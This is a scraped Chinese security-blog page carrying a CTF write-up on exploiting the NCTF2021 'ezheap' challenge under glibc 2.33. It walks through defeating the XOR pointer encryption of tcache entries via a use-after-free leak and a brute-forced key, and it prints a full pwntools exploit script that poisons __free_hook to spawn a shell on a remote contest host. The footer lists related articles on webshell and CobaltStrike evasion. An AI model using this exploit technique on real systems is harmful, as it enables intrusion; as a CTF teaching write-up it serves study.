<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一篇文章弄懂暴力拆解safe-unlink

    VSole2021-11-30 15:05:26

    前言

    今天(2021.11.28)NCTF的題目讓我大開眼界,上來最低利用版本都是2.31,新生都如此生猛了嗎,由于我比較菜只搞定了這個ezheap,2.33版本的題目我也是第一次做,花了1個小時fuzz出了這個玩意是異或加密然后又花了30多分鐘去理順邏輯,算是收獲滿滿吧

    由于這個2.33的利用我在網上并沒有看見有文章發布,我就寫一下供各位pwn學習參考。

    前置知識

    UAF,異或加密,hook利用

    版本新增保護介紹

    2.33版本的glibc不同于以往,對于堆塊地址的釋放之后,對于同一大小的fastbin以及tcache有效的fd永遠只有一個,剩余的bin照舊。

    對于2.33版本下對于fastbin以及tcache的fd指針會被進行異或操作加密,用來異或的值隨堆地址發生改變。

    舉例利用

    例題:NCTF2021 ezheap

    漏洞分析

    如下存在UAF漏洞,對于heap的size位置零,但是指針未置零,可以造成堆復用

    tips:可以利用glibc-all-in-one配合patchelf來建立題目的運行環境

    命令如下

    patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap
    

    再說點騷操作,題目一般只給libc沒有ld,可以直接把all in one的libc替換成題目給的,然后再去patchelf就可以使用上題目的libc了

    低于2.33常規思路攻擊

    通常的思路就是先free一次但是heaparry指針保留,再申請回來就有一個新的指針指向同一個地址,直接uaf任意地址申請,attack free hook 梭哈getshell

    2.33繞過方法

    First 堆地址的泄露

    首先申請兩個chunk,然后直接free掉,此時這兩個堆的fd位置的內容如下

    0x5569374d8290: 0x0000000000000000 0x00000000000000910x5569374d82a0: 0x00000005569374d8 0x00005569374d80100x5569374d82b0: 0x0000000000000000 0x00000000000000000x5569374d82c0: 0x0000000000000000 0x00000000000000000x5569374d82d0: 0x0000000000000000 0x00000000000000000x5569374d82e0: 0x0000000000000000 0x00000000000000000x5569374d82f0: 0x0000000000000000 0x00000000000000000x5569374d8300: 0x0000000000000000 0x00000000000000000x5569374d8310: 0x0000000000000000 0x00000000000000000x5569374d8320: 0x0000000000000000 0x00000000000000910x5569374d8330: 0x0000556c61def678 0x00005569374d8010
    

    由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后進行異或操作我們可以得到 heap:0x5569374d82a0

    也就是此時chunk0的content addr,這個地址我們先記錄下來

    (由于我腳本是分多次啟動打斷點調試,數據不是同一批,具體可以自己去用腳本去調試)

    Second 獲取某個堆塊的對應的異或key值

    我們繼續進行,假設我們已經填充好了tcache并且釋放了一個chunk進入了unsortedbin,目前的heap如下

    pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x5650e8eb5000Size: 0x291
    Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5290Size: 0x91
    Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5320Size: 0x91
    Allocated chunk | PREV_INUSEAddr: 0x5650e8eb53b0Size: 0x91
    Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5440Size: 0x91
    Allocated chunk | PREV_INUSEAddr: 0x5650e8eb54d0Size: 0x91
    Allocated chunk | PREV_INUSEAddr: 0x5650e8eb5560Size: 0x91
    Free chunk (tcache) | PREV_INUSEAddr: 0x5650e8eb55f0Size: 0x91fd: 0x56558de5dbc5
    Free chunk (unsortedbin) | PREV_INUSEAddr: 0x5650e8eb5680Size: 0x91fd: 0x7f95da868c00bk: 0x7f95da868c00
    Allocated chunkAddr: 0x5650e8eb5710Size: 0x90
    Top chunk | PREV_INUSEAddr: 0x5650e8eb57a0Size: 0x20861
    

    bin狀態如下

    pwndbg> bintcachebins0x90 [  7]: 0x5650e8eb5600 ?— 0x56558de5dbc5fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x5650e8eb5680 —? 0x7f95da868c00 (main_arena+96) ?— 0x5650e8eb5680smallbinsemptylargebinsempty
    

    此時用第一步方法得到的堆地址是  0x5650e8eb52a0

    然后為了形成堆復用,我們會再去add一個0x90的chunk,此時的heaparry如下

    pwndbg> x/32gx 0x40a0+0x5650e83480000x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb53300x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb54500x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb55700x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb56900x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600
    

    接著我們可以看下當前的bin情況如下

    pwndbg> bintcachebins0x90 [  6]: 0x5650e8eb5570 ?— 0x56558de5da55
    

    我們剛才泄露的地址是 0x5650e8eb52a0 現在tc最新的地址是 0x5650e8eb5570

    我們現在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25

    上面我也提到了這個key是變化的,因此我們還要爆破下,但是爆破是可以找到范圍的,我們可以利用常規的錯誤打法

    先看看泄露的key和需要的key的一個偏移(很好玩的是這個偏移也是隨機的)

    我們再來一次之前的操作然后得到的最新的泄露key是0x5612a9a54

    我們看看錯誤的bin如下

    pwndbg> bintcachebins0x90 [  6]: 0x7f8b1b63e5e4
    

    正確的free hook地址:0x7f8e7a497e20

    libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4

    hex(0x5612a9bc4-0x5612a9a54)=0x170

    我試了很多次的調試,libc_key有0x170,-0x170,0x190,-0x190當然實際情況實際調試,只要調試出來的值就是有可能的偏移

    最后把free_hook^libc_key=encrypto_free_hook 然后常規套路直接getshell

    exp

    from pwn import *r=process('./ezheap')#r=remote('129.211.173.64',10002)#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')libc=ELF('libc-2.33.so')#context.log_level='debug'def add(size,con):r.sendlineafter(">> ",'1')r.sendlineafter("Size: ",str(size))r.sendlineafter("Content: ",con)
    def edit(idx,con):r.sendlineafter(">> ",'2')r.sendlineafter("Index: ",str(idx))r.sendafter("Content: ",con)
    def show(idx):r.sendlineafter(">> ",'4')r.sendlineafter("Index: ",str(idx))
    def dele(idx):r.sendlineafter(">> ",'3')r.sendlineafter("Index: ",str(idx))flag=1while flag:#r=process('./ezheap')r=remote('129.211.173.64',10002)for i in range(9):add(128,'1')dele(0)show(0)he0=u64(r.recv(6)+b'\x00'*2)print(hex(he0))dele(1)show(1)he1=u64(r.recv(6)+b'\x00'*2)print(hex(he1))heap=he0^he1print("heap:"+hex(heap))#gdb.attach(r)for i in range(2,8):dele(i)show(5)he=u64(r.recv(6)+b'\x00'*2)print(hex(he))show(6)he6=u64(r.recv(6)+b'\x00'*2)print(hex(he6))show(7)base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00print(hex(base))#gdb.attach(r)free_hook=base+libc.sym["__free_hook"]print(hex(free_hook))sys=base+libc.sym['system']add(128,'')tagerheap=heap+0x2d0print("target heap:"+hex(tagerheap))tagerheap_key=tagerheap^heprint("target heap_key:"+hex(tagerheap_key))libc_key=tagerheap_key+0x170print("target libc_key:"+hex(libc_key))#gdb.attach(r)dele(6)edit(9,p64(free_hook^libc_key)+b'')add(128,'/bin/sh\x00')add(128,'1')edit(11,p64(sys)+b'')#gdb.attach(r)dele(6)r.sendline("ls")a=r.recv()if b'bin' in a:r.interactive()print(a)flag=0else:r.close()
    

    題目附件下載鏈接

    關注“合天網安實驗室”公眾號回復:題目

    異或hex
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    因前段時間退出了內網的學習,現在開始復習web方面的漏洞了,于是乎,開始了挖洞之旅,當我像往常一樣上傳冰蝎的webhsell時,發現冰蝎的馬子居然被殺了.......于是便有了該文章.....
    前言在系統被入侵后,需要迅速梳理出黑客的攻擊路徑,本文總結windows系統攻擊溯源過程中必要的排查范圍。排查項目用戶查看當前登錄用戶query user
    因前段時間退出了內網的學習,現在開始復習web方面的漏洞了,于是乎,開始了挖洞之旅,當我像往常一樣上傳冰蝎的webhsell時,發現冰蝎的馬子居然被殺了.......于是便有了該文章.....
    這次的 PWNHUB 內部賽的兩道題目都不是常規題,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的異或考察的則是通過逆向分析解密函數來構造棧溢出 ROP。兩道題目的考點都非常新穎,其中第一道題更是結合了 Web,值得大家復現學習。
    前置知識UAF,異或加密,hook利用版本新增保護介紹2.33版本的glibc不同于以往,對于堆塊地址的釋放之后,對于同一大小的fastbin以及tcache有效的fd永遠只有一個,剩余的bin照舊。對于2.33版本下對于fastbin以及tcache的fd指針會被進行異或操作加密,用來異或的值隨堆地址發生改變。
    冰蝎流量免殺初探
    2022-12-20 09:11:06
    本文僅針對冰蝎流量改造進行初步探討,熟悉一下整個流程,真的要繞流量設備,估計還需要其他的技巧。
    MTCTF-2022 部分WriteUp
    2022-11-23 09:35:37
    MTCTF 本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1CryptoWeb★easypickle題目給出源碼:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據但本題是loads,在opcodes處理上會有些微不通具體來說就是用loads加載時會報錯誤如下:對著把傳入參數換成元組就行,最終的payload如下
    NO.1 前言之前介紹了CobaltStrike4.3的License認證分析,今天介紹一下CobaltStrike4.3去除CheckSum8特征的方法,CheckSum8的特征和具體算法不在此細說,
    Android 逆向 apkrev
    2021-09-27 16:16:28
    看雪論壇作者ID:逆時針向左
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类